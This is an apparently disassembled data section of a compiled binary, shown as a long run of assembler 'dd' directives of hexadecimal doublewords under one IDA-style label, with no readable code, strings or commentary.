		dd 893CA42Bh, 0B88608C5h, 0A50941C9h, 107E43F2h, 994963E8h
		dd 0A83E9438h, 0BD824198h, 0FA67CA16h, 3B285F18h, 0A1FD00A4h
		dd 0FCD98922h, 0FB00A39Ah, 1F8DD2A6h, 7891E84Eh, 3DD0B0E9h
		dd 7207500Fh, 403DE3EFh, 85068223h, 0EC4DF900h,	1F840775h
		dd 54AF2CA1h, 0EFC26DCh, 7987850Dh, 0A22382E3h,	0C520D887h
		dd 7AEC8008h, 0F90084F0h, 2373EDA9h, 296E0386h,	3E40880Ch
		dd 68F0BD0Bh, 503B0C80h, 1E2C4F03h, 3021E485h, 256C98B0h
		dd 931F29B4h, 80FA041Ch, 0A4AE4024h, 74B26CE9h,	606A53BDh
		dd 0A858E25Fh, 1FBD0022h, 0ADB42481h, 0B30AE431h, 18AE72F3h
		dd 88AA88C4h, 0DC02E7CCh, 17729AFEh, 6D2CB8B4h,	0C440F518h
		dd 2AEF419h, 0A8570B4Fh, 389B257Bh, 2E0EC0F7h, 1E0E700Ah
		dd 8A82086Fh, 40E8147Ch, 0A7AFCE0h, 0A70E07C1h,	0E21C881Bh
		dd 0E655571Ah, 0B916090Ch, 0B0654FC6h, 49F6E057h, 303940Dh
		dd 28F0CA7h, 1543E0A0h,	0D8ED0257h, 6D1FBF19h, 84183460h
		dd 0D80035E5h, 45030EB4h, 71DFE315h, 9880C40Ah,	75F1881Dh
		dd 0F6573E35h, 0F790713h, 28181940h, 0ED3C8EAEh, 20AA267Bh
		dd 0A006C4Ah, 1C68EC4Fh, 0F172E84Eh, 320D7426h,	3891C0D8h
		dd 0ADE8BA2Ch, 810CA212h, 0F7842BBh, 90C822E0h,	409187CEh
		dd 5152D89h, 14812F58h,	546074E3h, 4CFEF0A8h, 1900D086h
		dd 172EDE4Eh, 8300E582h, 71EFB3CEh, 106C323h, 0B2BF0F78h
		dd 0D1BE25D8h, 8C40E277h, 8201B74Ah, 81076CF6h,	706071E3h
		dd 0FC744C1Bh, 0CE3CE13Ch, 127AA0C8h, 0BB73067Ah, 4860DC18h
		dd 197037E3h, 8607C258h, 33F06C57h, 8130E9A9h, 4F78C878h
		dd 50247718h, 9EC32530h, 7A1311Ch, 18DFF0B4h, 72218801h
		dd 4FA8860Fh, 0EDFA246Ch, 0E90FF84Ah, 971D23DEh, 0C1D4306Eh
		dd 222CE7F0h, 0E4C260C3h, 0A8EF57C2h, 1CE21824h, 0B7AEC0ABh
		dd 951C987Ah, 2109647Ah, 5F6E1FB3h, 82D5A4B7h, 842392ADh
		dd 0E86EC4C8h, 0A2685897h, 13E46CDCh, 320F82B2h, 0E31C0Ch
		dd 0BF0402E2h, 477CD7BAh, 0EDBE8383h, 20C489E5h, 8062B21Ch
		dd 0CA257209h, 71E4B9C4h, 68ED508Bh, 4CC4C003h,	20E0BFA2h
		dd 0EF748813h, 69C04EF8h, 52EE9BEh, 2073E987h, 2CB42514h
		dd 2F3C83B4h, 73ED8004h, 34C3BD0Fh, 205860B3h, 1E6BE983h
		dd 38CCBE7Ch, 52F980C1h, 5048184Dh, 0F69EF112h,	0EECFA1Ch
		dd 56E47C04h, 0DDBE7209h, 93AC7390h, 182F7CC4h,	80C8862Ch
		dd 1F7A0372h, 68A7B26Eh, 5850D78h, 73EF7AF9h, 6DD88022h
		dd 64B8BCFEh, 1F87071Ch, 5B182395h, 5041F834h, 0E7803BC3h
		dd 2E723FD0h, 2208818h,	6AE37B19h, 0E81F38E0h, 831D449Eh
		dd 6CE97A04h, 4E2D3CF2h, 0EA4FD410h, 0A50706F0h, 70E37925h
		dd 83E78141h, 0EC107070h, 1B7A1218h, 3003FE82h,	0A199FFA0h
		dd 9C4019A4h, 307FCE70h, 842177DAh, 0EC1DBF16h,	0E3090980h
		dd 2350E96Dh, 0AE80C82Dh, 248502A8h, 8D3D5402h,	851B810Ch
		dd 342EBD80h, 0EC61A4C9h, 0D0507DBFh, 1E0BBE34h, 90EE196Fh
		dd 6E1B9B0Ah, 3003F022h, 0A00353EBh, 0F8ECBDFFh, 0F1C30D18h
		dd 0C8210777h, 721D06ABh, 6914840Fh, 73B21EC8h,	0D98390B2h
		dd 9E301E0h, 4D8123E0h,	0F3104B38h, 721BE0F6h, 0E8546FB2h
		dd 851D7A81h, 601D2ACEh, 71EC6D02h, 76DC8025h, 0C01E7A06h
		dd 73EA4D20h, 90978218h, 4AB22EFCh, 0D2E0717Bh,	3DC4428Fh
		dd 418C8088h, 38A1DCF5h, 6920C1F8h, 7FD94F24h, 1988D8B1h
		dd 41DC47B4h, 216F3DC3h, 1A409E5Ch, 256C3C01h, 430E584h
		dd 902278C2h, 79ED7AA8h, 0A1C776DAh, 89CA06B0h,	4C8177F0h
		dd 2A8EE949h, 0CA82833h, 85B28628h, 0ED8073E9h,	9858AA2Fh
		dd 964FD6DCh, 0EC30B060h, 0C25ADAD8h, 1E80D420h, 2969E4B3h
		dd 0A5F48209h, 0F07A6432h, 224FEF78h, 810B300Fh, 0BF186910h
		dd 0E89A80F1h, 0F00DC007h, 0FF1872E0h, 8303C9ACh, 0D3112F5Ah
		dd 446880CFh, 89C8F72Eh, 1CC500AEh, 64A1E260h, 0C70C233Eh
		dd 1095DCCCh, 7B760026h, 0D2AE8A4Bh, 37F4A773h,	0C8C1394Eh
		dd 22F4B34Fh, 23410493h, 0C39D2Ch, 0D6B640D7h, 66BF1E05h
		dd 0F9F34E57h, 4C765E00h, 0E80BE30Ah, 8E069A89h, 0FF57611Bh
		dd 204E2A53h, 0FA5CE108h, 0A0AE6A60h, 0E162605Ah, 0B24112Eh
		dd 8FABC901h, 9003CFD6h, 8C685FD2h, 2300FAA5h, 5EBEF340h
		dd 4F294EEDh, 0E7FC928Ah, 63B194A0h, 325857F9h,	0F8AE0720h
		dd 11E7B4F4h, 0C4900120h, 9930ED9h, 0E60ABD45h,	4EA14E98h
		dd 80FEFAF9h, 6979B249h, 0F944355h, 0A37BAEE2h,	21D1187Dh
		dd 6903923Ch, 65C66032h, 19F6FBh, 0E5034C51h, 378409FCh
		dd 3066770Fh, 8F414156h, 8CF844CCh, 1178C6E0h, 0AE2B465Ch
		dd 0F6008453h, 3C90C23h, 3A448690h, 23FF1E8Eh, 516D0055h
		dd 0D1C188A1h, 0BAE90F12h, 125E1840h, 0FFC817h,	505A74BBh
		dd 2E2346DFh, 94510491h
		dd 58412F0Dh, 2FFE48CBh, 8F1CB03Ah, 63F67A14h, 1992C81Ch
		dd 41AF8156h, 185B05F8h, 65E824CBh, 34498E08h, 448017AAh
		dd 24136052h, 0FBC91015h, 2155CC8Eh, 23FC008Fh,	940A2C35h
		dd 0BA381045h, 0E8E28978h, 228F861h, 2548EFE3h,	0F076D376h
		dd 0B972D200h, 34CB0D53h, 0EAA96B6Fh, 7D2228C0h, 32640263h
		dd 298816D4h, 2BF1C99h,	8050D428h, 0B1481638h, 793FAEA4h
		dd 454B0512h, 0EC5F041Dh, 0ED619318h, 113C0013h, 24F65DE5h
		dd 9A024066h, 0BB144FA9h, 0C400477Fh, 67006538h, 19A9CCEFh
		dd 8548C043h, 0E1DCFBF5h, 854484AFh, 0B0467E6Bh, 50CD431Eh
		dd 2EC2099Dh, 0C9144002h, 4EE1C0E0h, 0DE9B630Fh, 6D1E270Ch
		dd 0C01B602Bh, 93D28590h, 99C0E486h, 82317C3h, 441E065Ah
		dd 81661C2h, 6E219460h,	0CE230Fh, 7F7557D1h, 6FC9D3E2h
		dd 61459498h, 23DD0C5Eh, 0AA6A0C80h, 0C2326CAh,	0AEF4D547h
		dd 5398F0E8h, 0CD5B44A0h, 4D6341C6h, 3E75F1h, 6C2B55D9h
		dd 0DE39EAC5h, 0AC4AC009h, 0E1C00138h, 0B000D0BBh, 1C5A7DDAh
		dd 0BFAF10D0h, 0F97E01D3h, 7B27925Bh, 0FCA0A4B0h, 0E463243Dh
		dd 7F3EA831h, 0BD22DC5Eh, 29082087h, 3427C772h,	2B4FC51h
		dd 0F48CE120h, 2F6E4069h, 0F5FA334Dh, 28B88590h, 799D1534h
		dd 860D8718h, 0BEDCC041h, 5516EA0Ah, 0CE4424Eh,	993714DAh
		dd 0B84ECCC9h, 84E4CF7Ch, 0CC01B7BDh, 80B3C540h, 81686318h
		dd 1446D335h, 8C97B0D5h, 5651C062h, 90134502h, 76861140h
		dd 77B700F0h, 0BED65DACh, 571859FCh, 7E60BCD8h,	64799D35h
		dd 0A0D4AB02h, 0EBA4DC8Fh, 26006059h, 9D92BD35h, 0A4380239h
		dd 0DDE23730h, 7F5A2840h, 0D0C29030h, 7450FC28h, 370E0EA2h
		dd 890CD545h, 0E92C0C58h, 28303D80h, 2C759A2h, 131E36DAh
		dd 0A4828630h, 4C9296FCh, 0BBC82840h, 0C91B4CACh, 0FB887EB6h
		dd 10FEB248h, 4E80E03Ch, 1AB8A43Bh, 19844F5Ch, 40E675h
		dd 1CDE34A7h, 8776FD55h, 0F894971Fh, 7C44E8CAh,	7F538A84h
		dd 5F6C1E80h, 500C6EB4h, 4AE0A97Fh, 809011DCh, 5A0D2314h
		dd 95448C26h, 230C006Dh, 0E014B49Fh, 1801EEA7h,	0C9C2FC39h
		dd 0A33B331Eh, 454E1484h, 8763002Ch, 375BFC5Ah,	88BAFF79h
		dd 0AC4C1048h, 9E2E410h, 20611E3Eh, 8CD4560h, 0AF18D3C1h
		dd 7840F830h, 98A805D2h, 0BC1B2619h, 7DDCC1A8h,	0A73B6057h
		dd 0E3210274h, 68A5F811h, 57CF64h, 0B7277EBDh, 6F2C63B6h
		dd 58D308CBh, 98EA0200h, 64BAC1BDh, 0B9578DEh, 58A10AF8h
		dd 0E884E411h, 0FA04CFC1h, 7E20D0CCh, 360067FBh, 0E1108BCBh
		dd 54720Ah, 69AD87C0h, 40C8EB2Eh, 9A81A59h, 301131E8h
		dd 1C784184h, 43C97E88h, 3AA37626h, 7479182Ah, 6060C238h
		dd 241BFD99h, 41389195h, 427F5E6Fh, 0A307EF0h, 5A131123h
		dd 80898816h, 1B2322A3h, 2A0B60F3h, 85436154h, 0C4288A7Ch
		dd 444F2441h, 74C44758h, 7704D088h, 0A2137E99h,	0F820A4E2h
		dd 68508Ch, 0F4DFB976h,	0B3DD3A0Ch, 5F8E9A00h, 72AC3854h
		dd 0A43148FCh, 104EE4C1h, 2EC73FBh, 4356697Ch, 10CF316Ch
		dd 3C69953Fh, 2C28B1F5h, 4FDC1F4Ch, 70CFD3E8h, 5F2F7250h
		dd 19BA7F3Ah, 0F720D179h, 0E730406Eh, 0F976F0FBh, 0F2981300h
		dd 7B4F9426h, 7FCE0560h, 0C3315A4Eh, 0A8F34074h, 39E8500Ah
		dd 0F1C0E40Bh, 43E8CCFh, 6047C1DCh, 2DBC816Dh, 0FBFC41E3h
		dd 89E050C8h, 8001DA9h,	0B441F590h, 4074451h, 54B217EAh
		dd 3E649855h, 5EA7663Dh, 2E4318D0h, 0FC21B739h,	4BE1E8BBh
		dd 50C906D4h, 2678D596h, 563707Bh, 0D33F652Fh, 9E90114Ch
		dd 0CE072561h, 0C8CD155h, 981A5B80h, 5F3A2679h,	6F636018h
		dd 34913704h, 5006C0A6h, 260D1C2h, 0E748F258h, 7068E1F5h
		dd 7089412Fh, 25E5F820h, 0D818F64Eh, 4C11697Ah,	0D4887C43h
		dd 69933D80h, 20ED82h, 8F90EEC8h, 431F66BEh, 1050E0D4h
		dd 186EDBFCh, 0C00246A8h, 80FD60E4h, 7B49E69Ch,	25FF0E20h
		dd 61665ADCh, 620B82Eh,	313809FDh, 6003A7B9h, 0C5B2E8CAh
		dd 0CECCE77h, 0DEB638A0h, 0E000A431h, 98C60B7Ch, 26334968h
		dd 8E851E5h, 0D000D71Ch, 0BEAD584h, 24E858F6h, 75DEA4C0h
		dd 0A8D328DFh, 0BA781804h, 0E37A0700h, 5C0D4470h, 30C83137h
		dd 0C134E33Bh, 0B40E48D8h, 0CA9105F3h, 88FFB650h, 0BA64602Ch
		dd 0D0EEF728h, 155E2734h, 0AD36BC01h, 6E653435h, 8FC1B431h
		dd 78CC1102h, 239CA34Ch, 0BD49010Bh, 19A72778h,	0EC006029h
		dd 0C715BD52h, 0E828B7B3h, 0DF000CBEh, 72C55C8Ch, 2E7B6h
		dd 0EE0B51E0h, 7E4B169h, 0F19E4F0Ch, 428DF856h,	996282E3h
		dd 0B687418Ch, 7048E426h, 808C8AE8h, 30F15C9h, 0FF6B3DF0h
		dd 4BBA75DBh, 90202844h, 2B5C9Eh, 0C5DA8EA0h, 927A010Bh
		dd 2630D14Eh, 0B6311C0h, 31204184h, 407EA44Ch, 0C4E8F474h
		dd 0F300CF15h, 33F8F9FCh, 5DD65786h, 8FC0A065h,	21D33102h
		dd 5E7CE109h, 86388203h, 0E8820901h, 420EC34Ch,	0F4FC81E8h
		dd 56EA4494h, 29F1B809h, 0EE240134h, 0E0C764ADh, 8053F51Eh
		dd 0C460E922h, 0ADD56B31h, 2E9300F0h, 0A5A0F958h, 30499EAh
		dd 0AF696AA2h, 5021E883h, 417A3879h, 0F7C402DEh, 0DC92F891h
		dd 481CB77Bh, 0A88022B9h, 35A64372h, 707629h, 2CA5780Ch
		dd 602FE320h, 0D91E3218h, 10CCADA9h, 0CA19D18h,	1829DD2Eh
		dd 0C3D77EC9h, 0BFD52C61h, 0E498F4A8h, 9545D48h, 0F779340Dh
		dd 3C9EC080h, 0F703C0C9h, 0FF98283Ah, 0A5083012h, 0C9443D21h
		dd 0FAB33100h, 72B72A7Fh, 58AA00D5h, 2F7D19A5h,	9200097Ah
		dd 8C5AD1D9h, 10FEA8h, 9D567735h, 5B8A31Ah, 0E088D1Ch
		dd 7FB618B2h, 5EF37448h, 9E00907Eh, 7131BE10h, 309A2CA1h
		dd 88509805h, 0CA00FC4Eh, 627E95E4h, 30BF08F1h,	0DF482406h
		dd 0DDA08257h, 0A7184B71h, 5658038Eh, 7A0E3085h, 841FFF78h
		dd 77329600h, 46C0B7E0h, 82BD3D54h, 0EA8C2060h,	0B9292C07h
		dd 5DC220A6h, 0C2313099h, 0A09F1E07h, 0D76052C1h, 0F215AD38h
		dd 2FEE0371h, 0B895E502h, 80D9A5F1h, 7EB244C8h,	0C097E448h
		dd 616BFBF8h, 12035B94h, 0B07F302h, 8208303Ah, 9449D421h
		dd 7A6F7300h, 0AB1771FEh, 0C1D5035Fh, 72B9829Dh, 4A635800h
		dd 12779765h, 0FB36181Fh, 295A834h, 78C0766Ch, 47048C0Eh
		dd 52126194h, 0CA208662h, 7D08944Fh, 7DA202D0h,	12F4F7FEh
		dd 0AAE0B880h, 44527EB1h, 94650228h, 3162125Fh,	4DC81088h
		dd 0BAAC2494h, 0E0B50318h, 0A3985E47h, 4509266Eh, 0D4147Dh
		dd 0C45F7E34h, 354E03A8h, 0D3D6B8FCh, 60FF1900h, 5E566148h
		dd 3A7A7377h, 8197846h,	601420FCh, 0BD0761ECh, 0A5A7E166h
		dd 4A389C70h, 78171485h, 5C4284B5h, 113087B2h, 0A2131E21h
		dd 12B8A8D9h, 400A8BC4h, 328F148Ch, 60A8137Dh, 30C079ACh
		dd 0D2749586h, 244FF851h, 807807B7h, 46BDC31Bh,	9A0CBF83h
		dd 8D77AD3h, 0DF40C0F3h, 35BDBB3Ah, 529D4100h, 930727E3h
		dd 508090CCh, 8CBB8C48h, 4649330Eh, 66784856h, 1F0021FCh
		dd 0F11D492Ch, 1FFD362h, 124E655Ah, 81800982h, 0FE3AFCD0h
		dd 0F4414B91h, 74200452h, 1C97EA54h, 0EA86D078h, 0A97C0788h
		dd 0A016C3E7h, 7F95D1D8h, 0A1F784A8h, 0D891C924h, 2CD47C42h
		dd 848AF440h, 64600D1Ch, 12236094h, 70114Ah, 9944CC9h
		dd 47448C2h, 0E231A3E7h, 700C08Ch, 0EC803205h, 0DEE83316h
		dd 36A2F488h, 3A046C6Ch
		dd 2AF7AEC9h, 3B208862h, 307C942h, 8938F45Bh, 83AC720Bh
		dd 0C8BE40A0h, 8710D342h, 0C041C8C8h, 125C9460h, 0A8F2EA24h
		dd 48D558h, 42282594h, 0D7A2BCD0h, 0CF001891h, 2A0F9724h
		dd 0AA880719h, 8112EC72h, 823529EEh, 0B16C588h,	15B92CCEh
		dd 0FF64E700h, 4EBD4BE1h, 2F4909Ah, 0ECD3BAA6h,	10486B17h
		dd 69C1CED7h, 0B6AC02F2h, 0F7223E0h, 7324C014h,	25F7D1E0h
		dd 8513989Bh, 885831FEh, 29BF0B69h, 98B40A29h, 4A2F8178h
		dd 0F8849D28h, 0ED17A0C4h, 75563901h, 4800CB3Ah, 0E83BF8B4h
		dd 30521337h, 703079B5h, 30FFB706h, 0A2108190h,	0E21893A1h
		dd 5203797Eh, 0F100AEECh, 4C86DD67h, 4C48E7F6h,	0B68744FFh
		dd 0D14F4097h, 0EF1D9317h, 40003115h, 8DF22ABDh, 48ECFE30h
		dd 7D03A6F1h, 4B23C23h,	9D1E70A0h, 92AA7666h, 0F18C430h
		dd 5EB303B6h, 0C1E9D314h, 2080891Ch, 0D8218C45h, 9E01534Bh
		dd 6DBEBA02h, 78BE4254h, 45590270h, 0CB063818h,	4A7C89C0h
		dd 912F1631h, 73C0B0ACh, 60C9000Bh, 2957DEB5h, 15002730h
		dd 4306D070h, 6008FEC7h, 1CB0789Dh, 1B78BB20h, 69513118h
		dd 0C09A1D49h, 5B4D8891h, 521D1A5Ch, 1B0F62DFh,	8678183Bh
		dd 0A3923E75h, 97105DB0h, 1D314FC4h, 0A64D58C9h, 609DCCh
		dd 0BEFBF754h, 5F87ED04h, 0CB28D14h, 418440C4h,	89404770h
		dd 61E7F23Ch, 0F9BD18E2h, 883FEC31h, 919F1D30h,	2EFC61B3h
		dd 6FC1AA6h, 88C1239h, 0DC218D60h, 21BFC79h, 979D885Ch
		dd 0C6602B55h, 0DE608734h, 45335F58h, 30BF60FBh, 9BBC6693h
		dd 0D43F08DEh, 400C580h, 694DA8CBh, 18468D4Ah, 4072030Dh
		dd 3A0036C7h, 0F7B6E6A1h, 0C06BAB1Ch, 0BE958918h, 0F5040EF3h
		dd 0B5B72D46h, 5B36B301h, 36E0BEAAh, 54206842h,	4841BC3Dh
		dd 0EF03300Eh, 0B3888FAAh, 0A8833BA2h, 90D6F582h, 7B203618h
		dd 0A4AB0FB1h, 52270C20h, 0D6190C8h, 78B4D336h,	7B741868h
		dd 8620394Ch, 0C6F8FA00h, 0BF9F5991h, 3C08CC79h, 8E017F21h
		dd 0FEC662FAh, 50858A80h, 3E1B36h, 78C4893Ch, 0D205C787h
		dd 44B7E7CDh, 0B8369801h, 4C202550h, 0D2035108h, 0CFC0C09Dh
		dd 1F3E9Fh, 0F3E831C2h,	471A40F8h, 0F609C90h, 45D364BCh
		dd 660ECD00h, 6B00E03Bh, 735C11E6h, 13E6ACCh, 0A3F6F214h
		dd 43812DACh, 8AB9BAE0h, 1068B062h, 92BD6597h, 6E6C24D4h
		dd 2016121Ch, 0F4426268h, 0C547C30Eh, 86FD808Ah, 1D2496Ah
		dd 0CDA2D4D5h, 824CA33Eh, 3846C790h, 459044B3h,	88A80E49h
		dd 32D4C035h, 0FF00F6ADh, 20D7393Eh, 36BD9E9h, 368D2CEAh
		dd 310B4B05h, 0A15816h,	54E8BCF9h, 24A8A394h, 0C38087C8h
		dd 1AB9FC62h, 25CE19DCh, 0E4C781DDh, 40C8D996h,	0F2AE788h
		dd 842E5901h, 0A5BDC130h, 55CB0870h, 0A000E09Fh, 0A9B8E8CDh
		dd 60F4DDC4h, 0C9360162h, 793E4CBDh, 87C7D1BFh,	60A77721h
		dd 6F3F560h, 0B0511A57h, 4C40B13Ch, 9C900C3Dh, 9BC4D01Ah
		dd 270C8299h, 3B15025Eh, 4771CCA0h, 0CD0EC4E9h,	208E1C60h
		dd 0FE3E6974h, 0A3672403h, 21D0298h, 1844A148h,	0B8D66E0Ch
		dd 0A0F971E0h, 547AA5FCh, 58BAA449h, 0DC06E414h, 81821C30h
		dd 86AA8530h, 5ADF92h, 57A7476h, 6B424873h, 0F0A0E270h
		dd 0A724365Ch, 714CA0D3h, 0B13A6015h, 0A3FCF965h, 2CCDBC03h
		dd 30DDC4B9h, 83216008h, 901CFDD1h, 45C0CF97h, 2629AF36h
		dd 3FE73BB7h, 936D088Ah, 0F03D40ECh, 3EF8B270h,	70F289Ah
		dd 269D6F81h, 15D14A21h, 8010FEC5h, 0BA94A40Fh,	3A4510Ah
		dd 3D40E854h, 58205013h, 0CD1E1404h, 2675C059h,	0FA850258h
		dd 3179C7C9h, 8D801038h, 0B1DB0FFAh, 312E0478h,	1BA2FD0Eh
		dd 0E88141CDh, 6348B036h, 0DE570940h, 0D1C02468h, 4AB2098h
		dd 0A9367660h, 20C932BFh, 2C60737Bh, 8F5C002h, 4463AF1Bh
		dd 0BD8419E4h, 0C03629B7h, 70DB2CD5h, 106E8AF8h, 1A8049F8h
		dd 43B830CBh, 93B297A0h, 7ADC6554h, 9BF5488Ch, 2BEDBC0Ah
		dd 406B64DCh, 0CAFDCD77h, 0F8480559h, 86D3BA5h,	0BC9642CCh
		dd 2BD5808h, 91C3D060h,	0BEFD2C48h, 6B5B2004h, 90C08D5Eh
		dd 5018422Ah, 0BF2A09Fh, 0DCEB4BE7h, 0D0CA2804h, 22CFE658h
		dd 75875A01h, 5EB2B308h, 50858049h, 3042BFBh, 3EE841E0h
		dd 0B0CC182Bh, 6160A602h, 19E74236h, 7810E2B0h,	0EE5860AEh
		dd 1D1F74FEh, 0B40BB26h, 1A93489Ch, 2898A4B9h, 148B2306h
		dd 0A83B4CE8h, 224F302h, 3848B974h, 0E460437Ah,	0B2921B58h
		dd 7398C951h, 0FAA32C30h, 89C6F711h, 7E803A88h,	2D5EFA8Bh
		dd 12730217h, 0F9A198E9h, 54BAF040h, 0ACD1BF28h, 3C2A4002h
		dd 0E8E30320h, 18C9BD28h, 788C70B8h, 3E580C18h,	4C148438h
		dd 48A30600h, 2A806909h, 3C7738F7h, 2028B918h, 0C414DC93h
		dd 0F020D075h, 8668D43Bh, 4D08B608h, 48F03A8Eh,	0E2BC7034h
		dd 96C8018Ch, 4D206814h, 0ED74D8B5h, 630E520Ch,	1409F0B8h
		dd 0B4A6B037h, 0BD04C449h, 0A0EF0E54h, 0E574681Ch, 0BCF17E0Eh
		dd 0B125CC08h, 8C7310CBh, 0E0A0517Ch, 95803C86h, 5C777C29h
		dd 0D31710FDh, 60403973h, 0B8588860h, 0A8148570h, 0C070D4C2h
		dd 914839D8h, 6C1A08B8h, 0EE05D400h, 0EA2D5444h, 379C2ECBh
		dd 604F468Ch, 949DA624h, 98209707h, 1187C843h, 96A140E0h
		dd 0D46F5004h, 47C02B05h, 804D3C98h, 1CFED3CDh,	206AA331h
		dd 100BD3Fh, 0D875B8BFh, 0F8204098h, 3131237h, 48645230h
		dd 5B83347Ch, 1B8E3B3h,	1067C470h, 0FDD57D38h, 814844FEh
		dd 636ECB34h, 30E4F280h, 0DD0195A2h, 4E045D54h,	44CCC50Ch
		dd 5DACA489h, 2E7C1C98h, 92789C46h, 0C8688B75h,	0C959C18Bh
		dd 8322F82Eh, 89CDC731h, 0AC503216h, 5C98DBD2h,	710F3570h
		dd 79C076F0h, 1B1A4433h, 306A0F26h, 8C8E804Ch, 0ACFC7704h
		dd 0B962741Ah, 0FC6FD220h, 87730E65h, 9180679Fh, 1A63C5AAh
		dd 7A528C90h, 0F08900BCh, 288EC9EFh, 57B90B07h,	0C80318DBh
		dd 80005BDEh, 56EE203Dh, 0EEFFB853h, 5284B2B3h,	7802488Dh
		dd 8C1AADFCh, 0D3108A31h, 0B71EFC70h, 51426D3Eh, 0A0C8E669h
		dd 19051C88h, 0D3F897h,	0B9D5B54Fh, 0C6629DF2h,	0E826EAF0h
		dd 0D0008908h, 3E314C06h, 0B2A0A843h, 335F0049h, 22BEFC46h
		dd 6D02D613h, 74D00B97h, 5EA84186h, 8D6FE850h, 731E765Ch
		dd 4977F0BEh, 0B9206CA0h, 4714BF24h, 3DD5809h, 9DA7CD04h
		dd 0B05928D7h, 11FA9F9Ch, 8829C6F3h, 878A8723h,	0FDF430FAh
		dd 0D8799C3Dh, 0F7A18412h, 1174A0D2h, 9702DE5Ch, 0BC594054h
		dd 0EC43491Ch, 90CCE815h, 0CDF9C700h, 99F19CB2h, 670AD00h
		dd 0FBB37625h, 2034B8ABh, 0A65DB940h, 424722E4h, 0FF1200BDh
		dd 6496EFDAh, 2A970A8Dh, 20907F54h, 2490C438h, 810849B9h
		dd 3C68B87Bh, 637ADC20h, 0D80DE131h, 0B4277988h, 0ED4D1C00h
		dd 3978B5DFh, 529CA0A6h, 0AE4684A8h, 0F2FAA002h, 38C741C6h
		dd 0FA888900h, 2ED6AF84h, 40A41B36h, 0B8AC5EC7h, 0B4607581h
		dd 0FB6C0EABh, 525DE740h, 0DFA0C1E6h, 8CAA08E2h, 0F6FAA404h
		dd 0F8A2A1C6h, 0FA8C7DC0h, 0E41E0F15h, 99C5E5F6h, 0FC81092Bh
		dd 0D438694Eh, 716244C0h, 0A10026A4h, 72899E21h, 5C2ACCB2h
		dd 0F0103C6Ah, 2364586Bh, 0FDCA006Fh, 2CC5BCA2h, 84674486h
		dd 0EFFDC200h, 8E574ED0h, 0C9831241h, 30040B6h,	34617B5Fh
		dd 6A09D8ACh, 9B933F54h, 0FFB181F8h, 242073F5h,	0C06A8947h
		dd 0F89899C3h, 980555h
dword_4FF844	dd 12536FEFh, 0BF202CB8h, 0B0540B47h, 241439D0h, 1021DCB0h
		dd 8CCE152Dh, 4165316h,	4447202Ch, 3891851Dh, 0B1C41F73h
		dd 8FB4004Bh, 8EF5CE3Dh, 310014ACh, 0BEF92AE8h,	2943200Bh
		dd 16CE122h, 8D58E6C7h,	0E8EC5CE9h, 4F88CA54h, 20EF4E00h
		dd 2B9F4B5Ch, 954D002Eh, 96786913h, 0B21759F8h,	0FC45CF04h
		dd 0C916D077h, 0B3BAFC41h, 0D8AC3DEAh, 34343A28h, 88F08ED8h
		dd 0A1CAC0B9h, 7812EADFh, 98047120h, 90C35A02h,	34A29908h
		dd 0C88D6893h, 4D00F3CCh, 76310157h, 1108B217h,	2B6EB6BBh
		dd 6424C84Ch, 0C0204000h, 19E195h, 816605E7h, 89107FEAh
		dd 0F701850Fh, 22AE7DE9h, 8D222819h, 0D0F69EF0h, 5717FE18h
		dd 0B343EAE8h, 91C35F20h, 0A82F7C89h, 21158CC5h, 0C3570F47h
		dd 0DFA0FA74h, 4FBB32C8h, 55485064h, 0C8C35D61h, 448C6C89h
		dd 553F451Bh, 70C880C3h, 0C69335F7h, 0B59BF07h,	6960F000h
		dd 0DAFE32h, 0ABACB5CCh, 0B12FE754h, 159D0918h,	188B5AEFh
		dd 0E2B5DBDh, 0FD6CB5FFh, 457918DBh, 0F900C1Ah,	67068C30h
		dd 0D03D8D29h, 897F9725h, 0C1BBF757h, 68593304h, 0F120104h
		dd 0A4F4D972h, 5633958Ch, 1505F1Eh, 0F0E6D4Ah, 21F89908h
		dd 181CD18Fh, 0E95200B6h, 7CBCDA8Eh, 890C0616h,	6032958Dh
		dd 0A10F7850h, 9DF58B65h, 317782F6h, 0B301072Ch, 0C0E0235h
		dd 7B0FC085h, 80F880CBh, 7F6E7FBDh, 1C91E1EAh, 0BB66C18h
		dd 0C61100BEh, 0DA812F65h, 3C06B183h, 14DDE946h, 0B70F1F20h
		dd 0FDBD02D0h, 2584E701h, 5200241Eh, 0F357F0E6h, 29120ACDh
		dd 0B1B06595h, 4107183Ch, 145F8443h, 0F732A204h, 87C0559Eh
		dd 0BD958BE1h, 0E96C1B63h, 0B1B91D81h, 2F36DBB2h, 0E515E23h
		dd 8944C359h, 2016624Ch, 0B9C35141h, 0BE7CED28h, 0D1800AA4h
		dd 1911671h, 0BBF1D18h,	0A831EE95h, 9CA81DDh, 57D9B87Bh
		dd 0B9512330h, 30246673h, 23B2853h, 0B62F4BBAh,	22B194A2h
		dd 890A4684h, 3A11A59Dh, 3B32BB12h, 0C35E3056h,	744889E4h
		dd 5646E1CAh, 55CBA940h, 90C10CBCh, 0E9DE3942h,	9F272148h
		dd 917A1A10h, 0E2B020D6h, 0A440A115h, 50D3C017h, 16C8D4B5h
		dd 0BD8982F3h, 85901BA1h, 0B2747BE2h, 7E5C6348h, 8763094Ch
		dd 83225CD1h, 416669C4h, 8B1C19F3h, 1852DCC0h, 21C3725Ah
		dd 42C05489h, 1C7C352h,	0FE9D60A4h, 85B0B313h, 71FAE766h
		dd 0C91AF1Dh, 12097518h, 74892819h, 0C25350D8h,	7D3B87Ch
		dd 7D85BDA1h, 939D1004h, 0D3FF80B4h, 22585B2Bh,	20431710h
		dd 67B182C4h, 7CC10F66h, 0BBE0001Ch, 37F2EAD2h,	9DE24F91h
		dd 1E278303h, 40CF8B66h, 4071C69Ch, 0BD48810Ah,	726F8140h
		dd 1C206165h, 9531889Bh, 0E9812BF2h, 0A40093B8h, 0EDBE148Dh
		dd 4F9336FBh, 0D20E5018h, 0F34286F8h, 0DA40DF46h, 85C6080Ch
		dd 440032A5h, 0A3184F68h, 30D39896h, 85F70899h,	0ED392Ah
		dd 0ACD88BD0h, 0A5D3492Ch, 0AB4A699Eh, 874898Ch, 6EB8230h
		dd 5B854A92h, 8C51067h,	0E0EC854Eh, 1970CA54h, 80370C63h
		dd 5132F1D5h, 0B14E0B41h, 0F4C01888h, 9FEC10h, 0A8C181F3h
		dd 255C19C7h, 8427FF69h, 0B9400551h, 2DCDF24Bh,	0FEF8833Dh
		dd 1DD368E8h, 0F2A99730h, 0C1130074h, 932C2BDh,	0FC753777h
		dd 7B62734Ch, 0B2256D30h, 9A9D85C7h, 2B049944h,	477E78A6h
